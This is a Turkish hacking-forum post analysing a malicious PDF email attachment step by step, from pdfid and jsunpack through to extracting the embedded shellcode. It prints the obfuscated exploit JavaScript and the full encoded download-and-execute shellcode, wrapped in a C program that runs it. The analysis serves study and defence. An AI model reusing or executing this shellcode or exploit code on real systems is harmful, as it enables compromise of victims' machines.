Welcome to Spyhackerz family! Log in or Sign up to join us

PDF Malware Analysis (DERİNLEMESİNE)

Discussion in 'Hack Dökümanları - Hack Articles' started by Cr4sh3r, Sep 14, 2018 at 2:24 PM.

  1. Cr4sh3r

    Cr4sh3r Üye

    Katılım:Thursday
    Mesajlar:
    7
    Uzmanlık Alanları
    Cyber-Warrior Information Technology's World
    Özel Mesaj Yolla
    Herkese tekrardan merhabalar efendim konuyu uzatmadan başlayalım.

    Kahveniz hazırsa başlayalım!:)


    Günümüz şartlarında E-Mail(Elektronik Posta) kullanımı, döküman gönderim işlemini de kolaylaştırmaktadır. Hazırlanan bir belge, anında kullanıcıya E-Posta ile gönderilebilmektedir.

    Durum bu şekilde olunca zararlı uygulamaların programcıkların yayılma olasılığı da artmaktadır. Özellikle son günlerde kullanıcıları tehlikeli duruma düşüren zararlı programlar

    PDF türü dosyalarla yayılmaktadır.

    Bu yayılma işlemi nasıl gerçekleşmektedir?

    Yayılma işlemi, .pdf belge içine gizlenen kod parçacıkları aracılığıyla, Adobe Acrobat Reader uygulamasında yer alan uygulama zafiyetinden faydalanmaktadır. PDF, Adobe firması tarafından geliştirilmiştir(Portable Document Format Taşınabilir Dosya Formatı). Neticesinde bir çok kullanıcı tarafından kullanılan bir dosya formatı olup, kullanım oranı artmaktadır. Özellikle şirketler dökümantasyon işlerinde pdf formatını çok tercih etmektedirler.

    Bu yazımda E-Posta iletimde karşılaştığım bir .pdf belgesi üzerinde gerçekleştirdiğim analizi anlatacağım.

    E-Postalarımı kontrol ederken “Re : Doc” adı altında bir e-posta gördüm.

    [​IMG]

    Gelen postayı incelediğimde,ekinde bir .pdf dosyası yeralmaktaydı.

    [​IMG]

    Bu pdf dosyasını incelemek için kayıt altına aldım.

    Akabinde...

    Öncelikle kayıt altına aldığım bu .pdf dosyasını çeşitli antivirüslerle tarama işlemine tabi tuttum.
    Fakat dosya temiz görünüyordu(Antivirüslere göre). Dosya gerçektende temiz ya da gözden saklanması için belge içerisine bir dizi kod yerleştirilmişti.

    İncelemeye devam ettim.

    [​IMG]

    "pdfid.py" ile pdf belgesinin kimlik bilgilerini(ID) incelediğimde Javascript kısmında 2 değeri, OpenAction kısmında 0 değeri mevcut. OpenAction 0 ise belge açıldığında bir hareketlilik yok. Javascript 2 değeri olması, belgenin kalbinde mevcut olan bir hareketlilik söz konusudur. Belge içine javascript kodu gömülü olduğu kesin.

    [​IMG]

    [​IMG]

    "pdf-parser.py" ile pdf içine gömülü olan parçaları görelim. Parçaları inceledikçe bazı kodlar görüyoruz.

    İlk etapta bu javascript kodlarını gördüğümüzde şüphe uyandırıcı bir durum olmayabilir. Daha iyi bir inceleme için pdf dosyasıiçinde, kimlik bilgileri adı altına gömülü olan kısımları bir çözelim. Bunun için "jsunpack" isimli uygulamadan faydalanalım.

    Kodlar :

    root@bt:/home/analiz/pdf# cd jsunpack/


    root@bt:/home/analiz/pdf/jsunpack# ./jsunpackn.py ../UnionRfc.pdf <----Çözümleme root@bt:/home/analiz/pdf/jsunpack# cd files/ root@bt:/home/analiz/pdf/jsunpack/files# ls -la


    total 124


    drwxr-xr-x 3 root root 4096 Dec 6 04:14 .


    drwxr-xr-x 6 root root 4096 Dec 6 04:23 ..


    -rw-r--r-- 1 root root 109666 Dec 6 04:23 decoding_967f97e379600eefcdf21a508d11bf79a13a5033 <----- oluşan çözümleme dosyası


    root@bt:/home/analiz/pdf/jsunpack/files# less decoding_967f97e379600eefcdf21a508d11bf79a13a5033 <---dosya içinde neler var? info.producer = String('381\x2c1315\x2c925\x2c1948\x2c7\x2c1306\x2c1038\x2c797\x2c1723\x2c1064\x2c385\


    ........................................\x2c1697\x2c995\x2c1725\x2c527\x2c805\x2c696\x2c176\x2c1606\x2c1018\x2c1305\....





    var hfy = zquz[jyp.replace('2010','uc')];


    var xtph = '' + mrp.getFullYear() + aou + 'i'+aou+'t'; var ckqg = 's' + xtph.replace('2010','pl');


    var vwl='2010';


    vwl = vwl.replace(mrp.getFullYear(),''); yv('va'+vwl+'r n' + aou + 'r=[' + hfy + vwl + ']'); var xluf = nr;


    bbg='le'+aou+'ng'+aou+'th'; var hcsh = xluf[bbg] / 2;


    for (var nvm = 0; nvm < hcsh; nvm++) { dezk += kij(xluf[nvm+hcsh] - xluf[nvm]);


    }


    …..

    İnceleme itibariyle dikkat çeken 2 kısım bulunmaktadır. /Producer kısmı ve javascript kod bulunan /JS kısmı.

    PDF dosya içeriğinde İlk görünüşte javascript kodundan başka dikkate değer bir kısım görünmemektedir.

    Procuder kısmında yer alan değerler bizi sonuca ulaşmamızda büyük rol oynadığı kesin. Nasıl mı?

    Producer dizininde yer alan değerleri javascript kodu vasıtasıyla çözümlendiği aşinadır. Javascript kodu vasıtasıyla kendi çözümleyici kodu yazdığımızda gerçek niyet ortaya çıkar.

    [​IMG]


    Producer kısmında yer alan sayı dizimini anlamlı hale getirmek için PDF için gömülen javascript kodundan faydalandıkBoylece Producer dizelerini birleştirmeye yarayan "gizli.js" adı altında küçük bir kod oluşturduk.

    Çözümleme işini gerçekleştiren döngü:

    var ayrim = producer.length / 2;

    for (var artis = 0; artis < ayrim; artis++)

    {

    gizlenmis += String.fromCharCode(producer[artis+ayrim] - producer[artis] );

    }

    Bu döngü producer kısmındaki sayı dizimlerini daha anlaşılır hale getirmektedir.

    print(gizlenmis);

    ile sayı dizimini ekrana yansıtıyoruz.

    [​IMG]

    Bingo.....Producer dize değerlerini çözümledik. İşte gerçek amaç bu javascript kodunda yer almaktadır.

    Bu kod ne anlama geliyor?

    [​IMG]

    Çözümlenen kodu düzenli hale getirdiğimizde geticon() , printf() ve yt() gibi fonksiyonlar bir dizi işlem yaptığı aşikardır. Yine gözle görülür bir ipucu olarak "var gj=" altında yer alan değerlerdir.

    Bu değerler vasıtasıyla Adobe Acrobat Reader programı üzerinde uygulama zaafiyeti oluşturulur.

    PDF dosyası içerisinden neler çıktığını yavaş yavaş görmeye başladık. Ekrana yansıyan bu çözümlenmiş kod parçasında önemli olan gj değerine aktarılan dizi değeridir. Bu değer Adobe Acrobat yazılımda zafiyet oluşturulması sonucu aktive edilecek temel kod parçasıdır. Bu kod parçasını nasıl çözümleriz?

    Malzilla uygulamasını çalıştırarak kodu hexfile haline dönüştürelim.

    [​IMG]

    [​IMG]

    Oluşturduğum hexfile.bin dosyasını inceleyelim. "strings" komutuda gözle görünür dişe dokunur bir bilgi vermedi.

    Kodlar:

    root@bt:/home/analiz/pdf# strings hexfile.bin Hg4s


    Hg2w pUG6H


    _XIHH

    hexview ile hexfile.bin içeriğine baktığımızda, henangi anlaşılır bir karakter dizimide mevcut değil

    [​IMG]

    Karşımızda encode edilmiş bir shellcode mevcut.

    Anlaşılıyor ki, bazı bilgiler şifrelenmiş(encode). Çözümlemeye devam edelim. Artık elimizde; PDF dosyası analiziyle başlayıp, dosya içerisine eklenen Javascript parçacığının incelenmesiyle el ettiğimiz hexfile.bin dosyası var.

    Elde ettiğimiz kodları barındıran hexfile dosyası bize neyi açıklayacak?

    Hexfile.bin dosyasının hex kodlarına ayırıp, şu küçük kodun shellcode dizinine yazalım.

    Kodlar:

    #cat hexfile.bin | perl -ne 's/(.)/printf "0x%02x,",ord($1)/ge' > shellcode.txt

    #more shellcode.txt 0x90,0x90,0x90,0x90,0xeb,0x16,0xb9,0x3d,0x01,0x00,0x00,0x8b….


    #vi shellcode.c


    #include <stdio.h> #include <stdlib.h> int main()

    {

    unsigned char shellcode[] = "\x90\x90\x90\x90\xeb\x16\xb9\x3d\x01\x00\x00\x8b\x34\x24\x89\xf7\x80" "\x3e\xe9\x74\x06\xac\x34\xb7\xaa\xe2\xfa\xc3\xe8\xe5\xff\xff\xff\x5e\xbb\xb6\xb7\xb7\xe9\x36" "\x5b\xeb\xb6\xb7\xb7\x3e\x50\x3a\xf8\xa7\x3a\xd8\xe3\x86\x6c\xe0\xe6\xe4\xe4\xe4\xe4\xe4\xe4" "\xe4\xe2\xe4\xe4\xdf\xb3\xb6\xb7\xb7\xe2\xe1\xe4\xdf\xd8\xd9\xb7\xb7\xdf\xc2\xc5\xdb\xda\xe3" "\xdf\x39\xf9\xb9\x5b\x5f\xff\xb7\xb7\xb7\xe7\x5f\xcb\xb7\xb7\xb7\x48\x67\x34\x73\xbf\xdf\xf8" "\x58\xf8\xb2\xe7\x5f\xdb\xb7\xb7\xb7\x48\x67\x32\x77\xc2\xa0\xdd\xe3\xee\x44\x1d\xdf\xc5\x49" "\x04\xa1\x5f\xaa\xb7\xb7\xb7\xe7\x5f\xe6\xb7\xb7\xb7\x48\x67\xe4\xdd\x49\xdf\x3e\xd8\xb6\x0a" "\x5f\xbf\xb7\xb7\xb7\xe7\x5f\x8b\xb7\xb7\xb7\x48\x67\xd7\x86\x77\xd3\x3c\xe7\x87\x3c\xe5\xbb" "\x3c\xe5\xa3\x3c\xc5\x9f\x0e\xaf\xb7\xb7\xb7\x86\x48\x86\x77\x1b\x8b\xd6\xcb\xb5\x9b\x97\x76"
    "\x78\xba\xb6\x70\x55\x47\x36\x48\xec\x0b\xfd\xdd\x3c\xf5\xa7\x3c\xa5\xc2\x6e\x3e\xf3\x93\xab" "\xd6\x74\xd7\x3c\xdb\x93\x93\x3c\xf2\x8b\x3c\xe3\xb2\xcf\xb6\x5d\x3c\xfd\xaf\x3c\xed\x97\xb6" "\x5c\x54\x83\xfe\x3c\x83\x3c\xb6\x56\x86\x48\x86\x77\x4b\x1b\x33\x77\xc3\xb0\x76\x78\xba\xb6" "\x70\x5c\x43\x8c\xcb\x93\x9f\xc2\x56\x3c\xed\x93\xb6\x5c\xd1\x3c\xbb\xfc\x3c\xed\xab\xb6\x5c" "\x3c\xb3\x3c\xb6\x5f\x3e\xf3\x93\xab\xd6\x75\xbf\xb7\x5f\x58\x49\x48\x48\xdf\xc3\xc3\xc7\x8d" "\x98\x98\xc7\xd8\xc4\xc3\xd4\xd6\xc5\xd3\xc4\xc4\xd2\xc5\xc1\xde\xd4\xd2\xc4\x99\xd9\xd2\xc3" "\x98\xd1\xdb\xd6\xc4\xdf\x99\xd2\xcf\xd2\xb7";


    (*(void(*) ()) shellcode) ();


    }


    root@bt:/home/analiz/pdf# gcc –o shellcode shellcode.c

    Artık elimizde bütünüyle Adobe Acrobat Reader uygulamasının zafiyeti sonucunda

    sistemde aktif hale gelen zararlı uygulamanın bir parçası bulunmaktadır. Artık bu shellcode uygulamasını analiz ederek PDF dosyasının temel amacını öğrenebiliriz.

    gdb ya da Evan's Debugger ile oluşturduğumuz shellcode dosyasını incelersek bu kodun bir indir-çalıştır parçası olduğunu görürüz.

    Adobe Acrobar Readerda oluşturulan zaafiyet sayesinde bu kod hafızada çalışarak bir internet sitesinden.exe çalıştırılabilir dosyayı kullanıcının bilgisayarına indirerek, kullanıcı artık bir havuzun parçası haline gelir.

    Anlaşılacağı gibi kullanıcının bilgisayarı, indirilen bu dosya sayesinde, saldırgan çeşitli işler için kullanıcının bilgisayarını kontrol altına alır.

    Bir pdf dosyası aracılığı ile kontrol dışı dosyanın kullanıcıya nasıl aktarıldığını anlamış olduk.

    Uygulamalardaki zaafiyetin ne derece boyutlara ulaştığınıda algılamış olduk.

    Kodlar:

    #gdb ./shellcode (Resim-12)

    (gdb) r


    [​IMG]

    [​IMG]

    Bu makalemizde bukadar beyler bayanlar uzun soluklu oldu ama olsun zevkliydi bence umarım işinize yaramıştır şimdiden teşekkürler.


    Referanslar
    Linkleri görebilmek için login-giriş yapman gerekiyor veya konuya like atman lazım
    Linkleri görebilmek için login-giriş yapman gerekiyor veya konuya like atman lazım
    Linkleri görebilmek için login-giriş yapman gerekiyor veya konuya like atman lazım
    Linkleri görebilmek için login-giriş yapman gerekiyor veya konuya like atman lazım
    Linkleri görebilmek için login-giriş yapman gerekiyor veya konuya like atman lazım
    Linkleri görebilmek için login-giriş yapman gerekiyor veya konuya like atman lazım
     

    Attached Files:

    aura likes this.
Loading...

Bu sayfayı Paylaş